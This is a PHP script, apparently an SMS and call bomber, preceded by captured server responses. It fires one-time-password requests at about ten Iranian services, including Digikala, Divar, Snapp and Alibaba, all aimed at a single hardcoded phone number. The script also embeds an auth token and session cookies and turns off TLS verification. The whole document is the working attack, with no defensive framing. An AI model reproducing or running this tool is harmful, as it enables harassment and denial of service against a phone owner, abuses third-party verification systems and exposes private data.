{"succeeded":false,"result":null,"error":{"code":10629,"message":"","details":""}}
{"message": "pin code sent"}
{"dest":"login","waiting":60,"hasPass":false,"token":"4d2f7e88-d97d-4315-9d62-c84e65711466"}
{"_n":"200","_r":"200","_u":"wFOVwv3FS3y3VjyorjvYomjo"}

{"result":{"tempToken":"149E5FF1E032B7DE419BF0A3B5B8B6BD70E5A5EF59EA7B9EB1EE34B1960653F85D5B2948965479F3B2C9A6D3447A680DC511DC9125FBAFD6647C9BD5029CE11E","message":"پیامک حاوی کد یکبار مصرف برای شما ارسال شده است."},"targetUrl":null,"success":true,"error":null,"unauthorizedRequest":false,"__wrapped":true,"__traceId":null}
{
 "authenticate_response": "AUTHENTICATION_VERIFICATION_CODE_SENT"
}


Error:Could not resolve host: core.snapp.doctor{"result":{"tempToken":"050FCB494E9B21AFB05AFF2BDB492F8FF14FF9405BE002AA32A7D166DF53FD9066B50FA0EF19E84F20CBB9D2BA2C699EE57A49FCD9031B7A0879397F4AA5197B","message":"پیامک حاوی کد یکبار مصرف برای شما ارسال شده است."},"targetUrl":null,"success":true,"error":null,"unauthorizedRequest":false,"__wrapped":true,"__traceId":null}
{"status":500,"message":"Bad Request","desc":"\u0645\u0634\u06a9\u0644\u06cc \u062f\u0631 \u067e\u0631\u062f\u0627\u0632\u0634 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0634\u0645\u0627 \u0628\u0648\u062c\u0648\u062f \u0622\u0645\u062f"}







echo
$url = "https://www.namava.ir/api/v1.0/accounts/registrations/by-phone/request";

$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$headers = array(
   "authority: www.namava.ir",
   "accept: application/json, text/plain, */*",
   "accept-language: en-US,en;q=0.9,fa-IR;q=0.8,fa;q=0.7,mt;q=0.6",
   "content-type: application/json;charset=UTF-8",
   "origin: https://www.namava.ir",
   "referer: https://www.namava.ir/auth/register-phone",
   "sec-ch-ua-mobile: ?0",
   "sec-fetch-dest: empty",
   "sec-fetch-mode: cors",
   "sec-fetch-site: same-origin",
   "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
   "x-application-type: WebClient",
   "x-auth-token: C7F706794731DE84F00141B5DA7E3D4EF784B6132C810DC6E21896148D07011368DEB93EB4E45B99AAE1A68549003F2C8CC41AE6912EDB0D8B29580CCC8067278DB482104963D17F5133E8A7454CF023F42DBBCF98440695727DC7978E45F038757B9B4C018F82F339D352386289E204038349849E7F5555CAFC5AF97D24B078B20745DE5C5BE0E0D0A1AA8CDDEEC791110ADC1C947AB53675BE3F603AF17452F161D70CB1066930800578750F5F55F13AA510A323083F9B5DA0FF5E42D2E6CA739E6C24FE20996011EB588698D50740B8CE0AB62AB763690DE6565B565E413AF96AE1ACBE01A9348B39B7512373080B7AE27F68B7CE3B60B564FE7AA5581124",
   "x-client-version: 2.33.0",
);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);

$data = '{"UserName":"+989035878949"}';

curl_setopt($curl, CURLOPT_POSTFIELDS, $data);

//for debug only!
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

$result = curl_exec($curl);
curl_close($curl);
echo($result);
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://api.torob.com/v4/user/phone/send-pin/?phone_number=09035878949');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Authority: api.torob.com';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.9,fa-IR;q=0.8,fa;q=0.7,mt;q=0.6';
$headers[] = 'Cookie: search_session=inikxwuxoaandygvchfeyucovdxxbmvr; _gcl_au=1.1.306791993.1658833446; abtest=next_pwa; _gid=GA1.2.1550935827.1659482461; _gat_UA-105982196-1=1; _clck=1f69in9^|1^|f3o^|0; _ga=GA1.2.1054708387.1648418754; is_torob_user_logged_in=False; _clsk=1ftoji^|1659482467213^|2^|0^|j.clarity.ms/collect; _ga_CF4KGKM3PG=GS1.1.1659482460.13.1.1659482467.0';
$headers[] = 'Origin: https://torob.com';
$headers[] = 'Referer: https://torob.com/';
$headers[] = 'Sec-Ch-Ua: ^^.Not/A)Brand^^\";v=^^\"99^^\",';
$headers[] = 'Sec-Ch-Ua-Mobile: ?0';
$headers[] = 'Sec-Ch-Ua-Platform: ^^Windows^^\"\"';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-site';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close($ch);
echo($result);
///////
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://gateway.telewebion.com/shenaseh/api/v2/auth/step-one');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"code\":\"98\",\"phone\":\"9035878949\",\"smsStatus\":\"default\"}");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Authority: gateway.telewebion.com';
$headers[] = 'Accept: application/json, text/plain, */*';
$headers[] = 'Accept-Language: en-US,en;q=0.9,fa-IR;q=0.8,fa;q=0.7,mt;q=0.6';
$headers[] = 'Content-Type: application/json;charset=UTF-8';
$headers[] = 'Origin: https://user.telewebion.com';
$headers[] = 'Referer: https://user.telewebion.com/';
$headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
$headers[] = 'Sec-Ch-Ua-Mobile: ?0';
$headers[] = 'Sec-Ch-Ua-Platform: \"Windows\"';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-site';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
echo($result);
curl_close($ch);


$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://api.sanjagh.com/web/rc/62d42ea45a2bcd741b489972?t=p');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"x-ref\":\"https://join.tapsi.ir/smsConfirm?phoneNumber=09035878949\",\"d-ref\":\"https://join.tapsi.ir/login\",\"_r\":\"200\",\"_u\":\"wFOVwv3FS3y3VjyorjvYomjo\",\"_n\":\"200\"}");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Authority: api.sanjagh.com';
$headers[] = 'Accept: application/json, text/plain, */*';
$headers[] = 'Accept-Language: en-US,en;q=0.9,fa-IR;q=0.8,fa;q=0.7,mt;q=0.6';
$headers[] = 'Content-Type: application/json;charset=UTF-8';
$headers[] = 'Cookie: _r=200; _u=wFOVwv3FS3y3VjyorjvYomjo; _n=200';
$headers[] = 'Origin: https://join.tapsi.ir';
$headers[] = 'Referer: https://join.tapsi.ir/';
$headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
$headers[] = 'Sec-Ch-Ua-Mobile: ?0';
$headers[] = 'Sec-Ch-Ua-Platform: \"Windows\"';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: cross-site';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
echo($result);
curl_close($ch);
error_reporting(E_ALL);
ini_set('echo',__DIR__.'/echo');
echo('start');

$url = "https://ws.alibaba.ir/api/v3/account/mobile/otp";

$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$headers = array(
  "Accept: application/json, text/plain, */*",
  "Accept-Language: en-US,en;q=0.9,fa-IR;q=0.8,fa;q=0.7,mt;q=0.6",
  "Connection: keep-alive",
  "Content-Type: application/json",
  "Origin: https://www.alibaba.ir",
  "Referer: https://www.alibaba.ir/",
  "Sec-Fetch-Dest: empty",
  "Sec-Fetch-Mode: cors",
  "Sec-Fetch-Site: same-site",
  "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
  "ab-channel: WEB-NEW,PRODUCTION,CSR,www.alibaba.ir,N,Chrome,103.0.0.0,N,N,Windows",
  "ab-traceparent: 00-ff240f7d3ccae996bc29971c3e1a7e7b-11d15a12f4aa8162-01",
  "sec-ch-ua-mobile: ?0",
);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);

$data = '{"phoneNumber":"9035878949"}';

curl_setopt($curl, CURLOPT_POSTFIELDS, $data);

//for debug only!
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

$result = curl_exec($curl);
curl_close($curl);
echo($result);

////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://api.divar.ir/v5/auth/authenticate');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"phone\":\"9035878949\"}");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Authority: api.divar.ir';
$headers[] = 'Accept: application/json, text/plain, */*';
$headers[] = 'Accept-Language: en-US,en;q=0.9,fa-IR;q=0.8,fa;q=0.7,mt;q=0.6';
$headers[] = 'Content-Type: application/x-www-form-urlencoded';
$headers[] = 'Origin: https://divar.ir';
$headers[] = 'Referer: https://divar.ir/';
$headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
$headers[] = 'Sec-Ch-Ua-Mobile: ?0';
$headers[] = 'Sec-Ch-Ua-Platform: \"Windows\"';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-site';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
$headers[] = 'X-Standard-Divar-Error: true';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);

echo($result);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close($ch);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://core.snapp.doctor/Api/Common/v1/sendVerificationCode/9035878949/sms?cCode=+98');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Accept: application/json';
$headers[] = 'Accept-Language: en-US,en;q=0.9,fa-IR;q=0.8,fa;q=0.7,mt;q=0.6';
$headers[] = 'Client: Other_webapp_snapp';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Origin: https://snapp.doctor';
$headers[] = 'Referer: https://snapp.doctor/';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-site';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
$headers[] = 'Authorization: Bearer null';
$headers[] = 'Sec-Ch-Ua: ^^.Not/A)Brand^^\";v=^^\"99^^\",';
$headers[] = 'Sec-Ch-Ua-Mobile: ?0';
$headers[] = 'Sec-Ch-Ua-Platform: ^^Windows^^\"\"';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
echo($result);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close($ch);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://ws.alibaba.ir/api/v3/account/call/otp');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"phoneNumber\":\"9035878949\"}");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Accept: application/json, text/plain, */*';
$headers[] = 'Accept-Language: en-US,en;q=0.9,fa-IR;q=0.8,fa;q=0.7,mt;q=0.6';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Content-Type: application/json';
$headers[] = 'Origin: https://www.alibaba.ir';
$headers[] = 'Referer: https://www.alibaba.ir/';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-site';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
$headers[] = 'Ab-Channel: WEB-NEW,PRODUCTION,CSR,www.alibaba.ir,N,Chrome,103.0.0.0,N,N,Windows';
$headers[] = 'Ab-Traceparent: 00-2c8a5d707d6b275971e52ac73dd5fff8-a1ee23280289c314-01';
$headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
$headers[] = 'Sec-Ch-Ua-Mobile: ?0';
$headers[] = 'Sec-Ch-Ua-Platform: \"Windows\"';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
echo($result);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close($ch);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://api.snapp.ir/api/v1/sms/link');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"phone\":\"09035878949\"}");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Authority: api.snapp.ir';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.9,fa-IR;q=0.8,fa;q=0.7,mt;q=0.6';
$headers[] = 'Content-Type: application/json';
$headers[] = 'Origin: https://snapp.ir';
$headers[] = 'Referer: https://snapp.ir/';
$headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
$headers[] = 'Sec-Ch-Ua-Mobile: ?0';
$headers[] = 'Sec-Ch-Ua-Platform: \"Windows\"';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-site';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
echo($result);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close($ch);

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://api.digikala.com/v1/user/authenticate/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"backUrl\":\"/\",\"username\":\"09035878949\",\"otp_call\":false}");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Authority: api.digikala.com';
$headers[] = 'Accept: application/json, text/plain, */*';
$headers[] = 'Accept-Language: en-US,en;q=0.9,fa-IR;q=0.8,fa;q=0.7,mt;q=0.6';
$headers[] = 'Content-Type: application/json';
$headers[] = 'Cookie: tracker_glob_new=9BXPm6o; _conv_r=s%3Awww.google.com*m%3Aorganic*t%3A*c%3A; _hjSessionUser_2754176=eyJpZCI6IjA4ODQ2YWI3LThiMzctNTkxYS1iNTM3LTQ2YzlhN2RjOTk2MiIsImNyZWF0ZWQiOjE2NDgyMzkwMjY5NjQsImV4aXN0aW5nIjp0cnVlfQ==; _ym_d=1653824892; _ym_uid=165382489234104875; _gcl_au=1.1.1909584433.1656693658; affiliate_id=YzAxNzZhNWEtYTliMS00Zjk0LTgzYjktNDg4NWFmYTczOTJjIyMjNzE2NTk=; _sp_ses.13cb=*; tracker_session=ewi7UKP; _gid=GA1.2.1012816703.1659028657; _gat_UA-13212406-1=1; _conv_v=vi%3A1*sc%3A27*cs%3A1659028658*fs%3A1648239024*pv%3A81*ps%3A1658925978*exp%3A%7B%7D; _conv_s=si%3A27*sh%3A1659028658196-0.3715627162034847*pv%3A1; _hjSession_2754176=eyJpZCI6IjdjODliM2I5LTgzOWItNDY4ZC04YjYxLWFlMDYzYTcyMDBiMyIsImNyZWF0ZWQiOjE2NTkwMjg2NTk1NTMsImluU2FtcGxlIjpmYWxzZX0=; _hjAbsoluteSessionInProgress=0; _ga=GA1.2.1467214946.1648239022; PHPSESSID=dha60vbjrlr24fj964ej757ltb; TS01e4b47a=0102310591a27cd4cc8de884d9b8c0a1e31d080133e887240712dbe3c72be4b97464bd9572f897bb05ae4091a2981c3cc1039374c2b3ff88270e456f6f8c914f17f8424cefd3e84c95b8116ad8fe56c3a71667cab3c70b5a3a13b7160a7afd8d581dcae90c0c96eae3f763d2873dbe46464ac33cd4b8a7f0acba1f4c45ff7eda69f0520d5c51382bae40869792f460f5411cc2564801e9003bffa1ad4031ab61c1d1e64771; TS01eb8a4e=010231059171344c060f90a7008aabd468bed6a8e4e887240712dbe3c72be4b97464bd9572f897bb05ae4091a2981c3cc1039374c2b3ff88270e456f6f8c914f17f8424cef517d45d4da14f719003644b74ee206caa67c83113ee3c444d84be49eb6e4e2eff13c51268bc35086863082b037c51589; _sp_id.13cb=31e2d29e-6fc2-4556-9ff6-ffd5491f0920.1649886759.25.1659028665.1658926019.2f5bb229-4edf-4002-9f85-3ccefac03864; _ga_4S04WR965Q=GS1.1.1659028657.26.1.1659028665.0; _ga_LR50FG4ELJ=GS1.1.1659028657.26.1.1659028665.52';
$headers[] = 'Origin: https://www.digikala.com';
$headers[] = 'Referer: https://www.digikala.com/';
$headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
$headers[] = 'Sec-Ch-Ua-Mobile: ?0';
$headers[] = 'Sec-Ch-Ua-Platform: \"Windows\"';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-site';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
$headers[] = 'X-Web-Client: desktop';
$headers[] = 'X-Web-Optimize-Response: 1';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);

echo($result);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close($ch);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.digikala.com/v1/user/authenticate/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"backUrl\":\"/\",\"username\":\"09035878949\",\"otp_call\":true}");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Authority: api.digikala.com';
$headers[] = 'Accept: application/json, text/plain, */*';
$headers[] = 'Accept-Language: en-US,en;q=0.9,fa-IR;q=0.8,fa;q=0.7,mt;q=0.6';
$headers[] = 'Content-Type: application/json';
$headers[] = 'Cookie: tracker_glob_new=9BXPm6o; _conv_r=s%3Awww.google.com*m%3Aorganic*t%3A*c%3A; _hjSessionUser_2754176=eyJpZCI6IjA4ODQ2YWI3LThiMzctNTkxYS1iNTM3LTQ2YzlhN2RjOTk2MiIsImNyZWF0ZWQiOjE2NDgyMzkwMjY5NjQsImV4aXN0aW5nIjp0cnVlfQ==; _ym_d=1653824892; _ym_uid=165382489234104875; _gcl_au=1.1.1909584433.1656693658; affiliate_id=YzAxNzZhNWEtYTliMS00Zjk0LTgzYjktNDg4NWFmYTczOTJjIyMjNzE2NTk=; _sp_ses.13cb=*; tracker_session=ewi7UKP; _gid=GA1.2.1012816703.1659028657; _gat_UA-13212406-1=1; _conv_v=vi%3A1*sc%3A27*cs%3A1659028658*fs%3A1648239024*pv%3A81*ps%3A1658925978*exp%3A%7B%7D; _conv_s=si%3A27*sh%3A1659028658196-0.3715627162034847*pv%3A1; _hjSession_2754176=eyJpZCI6IjdjODliM2I5LTgzOWItNDY4ZC04YjYxLWFlMDYzYTcyMDBiMyIsImNyZWF0ZWQiOjE2NTkwMjg2NTk1NTMsImluU2FtcGxlIjpmYWxzZX0=; _hjAbsoluteSessionInProgress=0; _ga=GA1.2.1467214946.1648239022; PHPSESSID=dha60vbjrlr24fj964ej757ltb; TS01e4b47a=0102310591a27cd4cc8de884d9b8c0a1e31d080133e887240712dbe3c72be4b97464bd9572f897bb05ae4091a2981c3cc1039374c2b3ff88270e456f6f8c914f17f8424cefd3e84c95b8116ad8fe56c3a71667cab3c70b5a3a13b7160a7afd8d581dcae90c0c96eae3f763d2873dbe46464ac33cd4b8a7f0acba1f4c45ff7eda69f0520d5c51382bae40869792f460f5411cc2564801e9003bffa1ad4031ab61c1d1e64771; TS01eb8a4e=010231059171344c060f90a7008aabd468bed6a8e4e887240712dbe3c72be4b97464bd9572f897bb05ae4091a2981c3cc1039374c2b3ff88270e456f6f8c914f17f8424cef517d45d4da14f719003644b74ee206caa67c83113ee3c444d84be49eb6e4e2eff13c51268bc35086863082b037c51589; _sp_id.13cb=31e2d29e-6fc2-4556-9ff6-ffd5491f0920.1649886759.25.1659028665.1658926019.2f5bb229-4edf-4002-9f85-3ccefac03864; _ga_4S04WR965Q=GS1.1.1659028657.26.1.1659028665.0; _ga_LR50FG4ELJ=GS1.1.1659028657.26.1.1659028665.52';
$headers[] = 'Origin: https://www.digikala.com';
$headers[] = 'Referer: https://www.digikala.com/';
$headers[] = 'Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"';
$headers[] = 'Sec-Ch-Ua-Mobile: ?0';
$headers[] = 'Sec-Ch-Ua-Platform: \"Windows\"';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-site';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36';
$headers[] = 'X-Web-Client: desktop';
$headers[] = 'X-Web-Optimize-Response: 1';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);

echo($result);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close($ch);
////////////////////////////////////////////////////////////////////////////////////////////
?>